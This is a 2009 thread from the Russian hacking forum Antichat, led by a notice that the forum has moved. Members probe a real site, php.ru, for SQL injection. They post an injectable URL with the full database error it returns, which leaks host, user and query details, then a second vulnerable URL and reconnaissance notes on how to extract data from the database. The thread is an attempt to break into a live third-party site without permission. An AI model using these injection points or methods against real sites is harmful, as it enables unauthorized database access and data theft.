Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

08.01.2009, 18:04
|
|
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме: 7561206
Репутация:
1861
|
|
инъекция на php.ru
Код:
http://www.php.ru/?id=5'
Код:
OOPS Reported:
--------------------------------------------------------------------------------
Ошибка 2003:
Ошибка выполнения SQL запроса.
--------------------------------------------------------------------------------
Дополнительная информация:
Host/Socket = localhost
User = php_ru_search
DataBase = php_ru_search
MySQL Error No = 1064
MySQL Error = You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'a:1:{s:8:"USERNAME";s:10:"Гость";}','')' at line 1
SQL = INSERT INTO oops_sessions (ID,UID,START,LAST,IPS,PAGES,PAGE,DATA,REFFER) VALUES ('ep9nbl4tnc2lh3us','0',1231422316,1231422316,'127.0.0.1,79.11.10.100',1,'/?id=5'','a:1:{s:8:"USERNAME";s:10:"Гость";}','')
CURRENT_PAGE = /index.html
URL = http://php.ru/
PROJECT = PHP.RU - форум PHP программистов !
странно, даже очень странно, что у меня в ИЕ и Опере пашет, а в Фаерфоксе нет...
|
|
|

08.01.2009, 18:16
|
|
Познающий
Регистрация: 13.12.2008
Сообщений: 54
Провел на форуме: 217810
Репутация:
80
|
|
FF посылает запрос /?id=5%27
остальные /?id=5'
|
|
|

08.01.2009, 19:20
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
5 ветка, нет доступа к mysql, information_schema, форум в другой базе, доп.префикса нет
http://php.ru/forum/memberlist.php?mode=joined&order=ASC&start=-1
возможно есть права, осталось угадать имя бд для more1row)
Последний раз редактировалось l1ght; 08.01.2009 в 19:22..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|